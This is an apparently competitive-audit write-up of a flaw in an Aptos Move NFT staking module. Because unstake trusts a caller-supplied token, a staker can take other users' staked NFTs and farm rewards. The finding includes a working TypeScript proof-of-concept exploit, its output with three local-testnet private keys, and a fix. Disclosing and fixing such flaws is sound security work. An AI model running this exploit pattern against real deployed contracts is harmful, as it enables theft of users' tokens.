Unbound unstake
due to missing token_id
in StakeInfo
lets stakers withdraw arbitrary NFTs and redirect staking rewards — enabling mass NFT confiscation & CRED farming
Description
-
Intended behavior: When a player stakes a Rapper NFT, the protocol should remember which token was staked and, on unstake
, return that same token to the staker, applying staking benefits only to that token.
-
Actual issue: streets::StakeInfo
does not store the token_id, and unstake
accepts an arbitrary Object<Token>
parameter. During unstake
, the code uses the caller’s StakeInfo
(which only proves that the caller staked something) but applies stat updates and returns whichever token is passed to the function - allowing a staker to redirect benefits (stat changes and CRED rewards) and take another user’s token that is currently custodied by @battle_addr
.
module battle_addr::streets {
struct StakeInfo has key, store {
start_time_seconds: u64,
owner: address,
+ // @> Root cause 1: StakeInfo does not bind to token_id.
// @> Missing token_id here in the current codebase
}
public entry fun unstake(
staker: &signer, module_owner: &signer, rapper_token: Object<Token>
) acquires StakeInfo {
let staker_addr = signer::address_of(staker);
let token_id = object::object_address(&rapper_token);
assert!(exists<StakeInfo>(staker_addr), E_TOKEN_NOT_STAKED);
let stake_info = borrow_global<StakeInfo>(staker_addr);
assert!(stake_info.owner == staker_addr, E_NOT_OWNER);
+ // @> Root cause 2: Unstake trusts the caller-supplied rapper_token address.
// (benefits + stats applied to `token_id`)
let StakeInfo { start_time_seconds: _, owner: _ } = move_from<StakeInfo>(staker_addr);
// Return the *supplied* token to caller, not necessarily the one originally staked.
+ // @> Root cause 3: Returns arbitrary token from @battle_addr to staker.
one_shot::transfer_record_only(token_id, @battle_addr, staker_addr);
object::transfer(module_owner, rapper_token, staker_addr);
}
}
Risk
Likelihood:
-
Stakers routinely call unstake
; in normal flow the module_owner
co‑signer is already required, so the multi‑agent call is expected and attainable during routine operations.
-
Any time multiple NFTs are simultaneously custodied by @battle_addr
(e.g., multiple players staking), a staker can select another token’s address as the unstake
argument.
Impact:
-
Token theft: A player can cause @battle_addr
to transfer someone else’s staked NFT to themselves during their own unstake
.
-
Benefit redirection: Staking benefits (vice removals / virtue add and CRED mints based on days staked) are applied to the arbitrary token supplied to unstake
, not the originally staked token - allowing players to farm stats and CRED on any token they choose.
-
Worst-case scenario:
An attacker stakes any token they own and leaves it staked for 5 days, accumulating maximum benefits (all vices cleared and calm_and_ready
set, plus 4 CRED mints). When ready to exit, the attacker repeatedly initiates unstake
calls where they provide the token IDs of other users’ NFTs that are currently custodied by @battle_addr
. Each call returns that other user’s NFT to the attacker and applies the 5‑day stat improvements and CRED mints to the stolen token. By repeating the simple stake → wait → arbitrary‑token_id
unstake cycle, the attacker can drain the entire pool of staked NFTs, consolidating ownership and farming stats/CRED across many tokens - effectively reusing the single‑account StakeInfo
pattern unbounded times.
Proof of Concept
I deployed original contracts locally using docker and aptos node run-local-testnet --with-indexer-api
Aptos CLI command. I created 3 test accounts and saved PKs under .env for protocol-owner, player-one and player-two. [Never do it with real money!!!]. I interacted with contracts via TypeScript SDK and monitored the transactions on https://explorer.aptoslabs.com/ (Local Network). I also connected Petra wallet to it.
import {
Aptos,
AptosConfig,
Account,
Ed25519PrivateKey,
Network,
NetworkToNetworkName,
} from "@aptos-labs/ts-sdk";
import dotenv from "dotenv";
dotenv.config();
function pk(name: string) {
const v = process.env[name];
console.log(v);
if (!v) throw new Error(`Missing env var ${name}`);
return new Ed25519PrivateKey(v);
}
const APTOS_NETWORK = NetworkToNetworkName[Network.LOCAL];
const config = new AptosConfig({ network: APTOS_NETWORK });
const aptos = new Aptos(config);
const owner = Account.fromPrivateKey({ privateKey: pk("PROTOCOL_OWNER_PRIVATE_KEY") });
const p1 = Account.fromPrivateKey({ privateKey: pk("PLAYER_ONE_PRIVATE_KEY") });
const p2 = Account.fromPrivateKey({ privateKey: pk("PLAYER_TWO_PRIVATE_KEY") });
const BATTLE = owner.accountAddress.toString();
async function submitSimple(
signer: Account,
functionId: `${string}::${string}::${string}`,
args: any[]
) {
const txn = await aptos.transaction.build.simple({
sender: signer.accountAddress,
data: {
function: functionId,
typeArguments: [],
functionArguments: args,
},
});
const res = await aptos.signAndSubmitTransaction({ signer, transaction: txn });
await aptos.waitForTransaction({ transactionHash: res.hash });
return res.hash;
}
async function submitMultiAgent(
primary: Account,
secondaries: Account[],
functionId: `${string}::${string}::${string}`,
args: any[]
) {
const txn = await aptos.transaction.build.multiAgent({
sender: primary.accountAddress,
secondarySignerAddresses: secondaries.map((a) => a.accountAddress),
data: {
function: functionId,
typeArguments: [],
functionArguments: args,
},
});
const primaryAuth = aptos.transaction.sign({ signer: primary, transaction: txn });
const secondaryAuths = await Promise.all(
secondaries.map((s) => aptos.transaction.sign({ signer: s, transaction: txn })),
);
const committed = await aptos.transaction.submit.multiAgent({
transaction: txn,
senderAuthenticator: primaryAuth,
additionalSignersAuthenticators: secondaryAuths,
});
await aptos.waitForTransaction({ transactionHash: committed.hash });
return committed.hash;
}
async function getTx(hash: string) {
const tx = (await aptos.getTransactionByHash({ transactionHash: hash }));
if (!("events" in tx) || !tx.events) throw new Error("Transaction has no events");
return tx;
}
async function extractTokenIdFromMint(hash: string): Promise<string> {
const tx = await getTx(hash);
const ev = tx.events.find((e) => e.type.endsWith("::one_shot::MintRapperEvent"));
if (!ev) throw new Error("MintRapperEvent not found");
return ev.data.token_id as string;
}
async function objectOwner(objectAddress: string): Promise<string> {
const r = await aptos.getAccountResource({
accountAddress: objectAddress,
resourceType: "0x1::object::ObjectCore",
});
return r.owner as string;
}
async function countTokensOwnedBy(addr: string): Promise<bigint> {
const res = await aptos.getAccountResource({
accountAddress: BATTLE,
resourceType: `${BATTLE}::one_shot::RapperStats`,
});
const handle = (res as any).owner_counts.handle as string;
try {
const val = await aptos.getTableItem<string>({
handle,
data: {
key_type: "address",
value_type: "u64",
key: addr,
},
});
return BigInt(val);
} catch (e: any) {
const msg = (e?.message ?? "").toLowerCase();
if (e?.status === 404 || msg.includes("table item") || msg.includes("not found")) return 0n;
throw e;
}
}
async function main() {
console.log("Addresses:");
console.log(" protocol-owner:", BATTLE);
console.log(" player-one: ", p1.accountAddress.toString());
console.log(" player-two: ", p2.accountAddress.toString());
console.log("\n=== Mint two Rappers (A for player-one, B for player-two) ===");
const mintAHash = await submitSimple(owner, `${BATTLE}::one_shot::mint_rapper`, [p1.accountAddress.toString()]);
const TOKEN_A = await extractTokenIdFromMint(mintAHash);
console.log(" TOKEN_A:", TOKEN_A);
const mintBHash = await submitSimple(owner, `${BATTLE}::one_shot::mint_rapper`, [p2.accountAddress.toString()]);
const TOKEN_B = await extractTokenIdFromMint(mintBHash);
console.log(" TOKEN_B:", TOKEN_B);
console.log("\n=== player-one stakes TOKEN_A (creates StakeInfo for player-one) ===");
await submitSimple(p1, `${BATTLE}::streets::stake`, [TOKEN_A]);
console.log("\n=== player-two stakes TOKEN_B (moves B to @battle_addr custody) ===");
await submitSimple(p2, `${BATTLE}::streets::stake`, [TOKEN_B]);
const ownerA1 = await objectOwner(TOKEN_A);
const ownerB1 = await objectOwner(TOKEN_B);
console.log("\nOwners after staking (both should be @battle_addr):");
console.log(" owner(TOKEN_A):", ownerA1);
console.log(" owner(TOKEN_B):", ownerB1);
console.log("\n=== EXPLOIT: player-one unstakes, but supplies TOKEN_B ===");
await submitMultiAgent(p1, [owner], `${BATTLE}::streets::unstake`, [TOKEN_B]);
const ownerB2 = await objectOwner(TOKEN_B);
const p1Count = await countTokensOwnedBy(p1.accountAddress.toString());
const p2Count = await countTokensOwnedBy(p2.accountAddress.toString());
console.log("\nPost-exploit state:");
console.log(" owner(TOKEN_B):", ownerB2, " (EXPECTED: player-one address)");
console.log(" owner_counts[player-one] (u64):", p1Count.toString());
console.log(" owner_counts[player-two] (u64):", p2Count.toString());
console.log("\nIf owner(TOKEN_B) == player-one and player-one's count increased, bug is reproduced.");
}
main().catch((e) => {
console.error(e);
process.exit(1);
});
Output of the POC
node poc.ts
[dotenv@17.2.2] injecting env (6) from .env -- tip: 📡 auto-backup env with Radar: https:
ed25519-priv-0xabc1f57ba672fce095e51c7abe4710d522ae53095c88a9a56b18fa763a21608d
ed25519-priv-0x1f6690e30163f1b434041b2f2946913bde19fd1d208639d35a256977279f54ad
ed25519-priv-0xd0586d33af7fa3e975f366521dfec83068ec8b4720086c46173d6029a6b82514
Addresses:
protocol-owner: 0xe0713ded30a5ecbfb15755088cbf04b2949896506cd9d5700941701b0a306cbc
player-one: 0xd56cef1d9c69e46ad60ec093e59ea2f44e16c0ec03fc7441ebca59bf192bf53e
player-two: 0x1940c565b744927498bae6a5398ad0256bc2ec3bfa09a962b61f01861fb17a10
=== Mint two Rappers (A for player-one, B for player-two) ===
TOKEN_A: 0x398bbfc4ee90627967eb01773a1f735d27ea2676b96c8140736e6ed3b3743875
TOKEN_B: 0x482f5eb41b0a6b5a89de548e46264c13ea66d6565cb2cf3371a67fb72308a5da
=== player-one stakes TOKEN_A (creates StakeInfo for player-one) ===
=== player-two stakes TOKEN_B (moves B to @battle_addr custody) ===
Owners after staking (both should be @battle_addr):
owner(TOKEN_A): 0xe0713ded30a5ecbfb15755088cbf04b2949896506cd9d5700941701b0a306cbc
owner(TOKEN_B): 0xe0713ded30a5ecbfb15755088cbf04b2949896506cd9d5700941701b0a306cbc
=== EXPLOIT: player-one unstakes, but supplies TOKEN_B ===
Post-exploit state:
owner(TOKEN_B): 0xd56cef1d9c69e46ad60ec093e59ea2f44e16c0ec03fc7441ebca59bf192bf53e (EXPECTED: player-one address)
owner_counts[player-one] (u64): 1
owner_counts[player-two] (u64): 0
If owner(TOKEN_B) == player-one and player-one's count increased, bug is reproduced.
Recommended Mitigation
To fully address this vulnerability, the unstake
logic must bind the stake to a specific token and eliminate the ability to pass arbitrary token IDs:
-
Add token_id
to StakeInfo
when staking, so the protocol knows which token was originally staked.
-
Remove the user-supplied rapper_token
parameter from unstake
and instead derive the token from StakeInfo
.
module battle_addr::streets {
- struct StakeInfo has key, store {
- start_time_seconds: u64,
- owner: address,
- }
+ struct StakeInfo has key, store {
+ start_time_seconds: u64,
+ owner: address,
+ token_id: address, // Bind stake to a specific token
+ }
- public entry fun stake(staker: &signer, rapper_token: Object<Token>) {
+ public entry fun stake(staker: &signer, rapper_token: Object<Token>) {
let staker_addr = signer::address_of(staker);
let token_id = object::object_address(&rapper_token);
- move_to(staker, StakeInfo { start_time_seconds: timestamp::now_seconds(), owner: staker_addr });
+ move_to(
+ staker,
+ StakeInfo {
+ start_time_seconds: timestamp::now_seconds(),
+ owner: staker_addr,
+ token_id, // Record which token was staked
+ }
+ );
one_shot::transfer_record_only(token_id, staker_addr, @battle_addr);
object::transfer(staker, rapper_token, @battle_addr);
}
- public entry fun unstake(staker: &signer, module_owner: &signer, rapper_token: Object<Token>) acquires StakeInfo {
+ // Safer: remove the user-supplied token parameter; derive token_id from StakeInfo.
+ public entry fun unstake(staker: &signer, module_owner: &signer) acquires StakeInfo {
let staker_addr = signer::address_of(staker);
assert!(exists<StakeInfo>(staker_addr), E_TOKEN_NOT_STAKED);
- let stake_info = borrow_global<StakeInfo>(staker_addr);
- assert!(stake_info.owner == staker_addr, E_NOT_OWNER);
- let token_id = object::object_address(&rapper_token);
+ let stake_info = borrow_global<StakeInfo>(staker_addr);
+ assert!(stake_info.owner == staker_addr, E_NOT_OWNER);
+ let token_id = stake_info.token_id;
+ // (Optional hardening) Assert custody is @battle_addr before transfer.
+ // e.g., check object::owner matches @battle_addr if available via helper
// ... compute staked duration and apply stat updates to `token_id` ...
- let StakeInfo { start_time_seconds: _, owner: _ } = move_from<StakeInfo>(staker_addr);
- one_shot::transfer_record_only(token_id, @battle_addr, staker_addr);
- object::transfer(module_owner, rapper_token, staker_addr);
+ let StakeInfo { start_time_seconds: _, owner: _, token_id: _ } = move_from<StakeInfo>(staker_addr);
+ one_shot::transfer_record_only(token_id, @battle_addr, staker_addr);
+ // Create an Object<Token> from the recorded address and transfer it back
+ let tok_obj = object::address_to_object<Token>(token_id);
+ object::transfer(module_owner, tok_obj, staker_addr);
}
}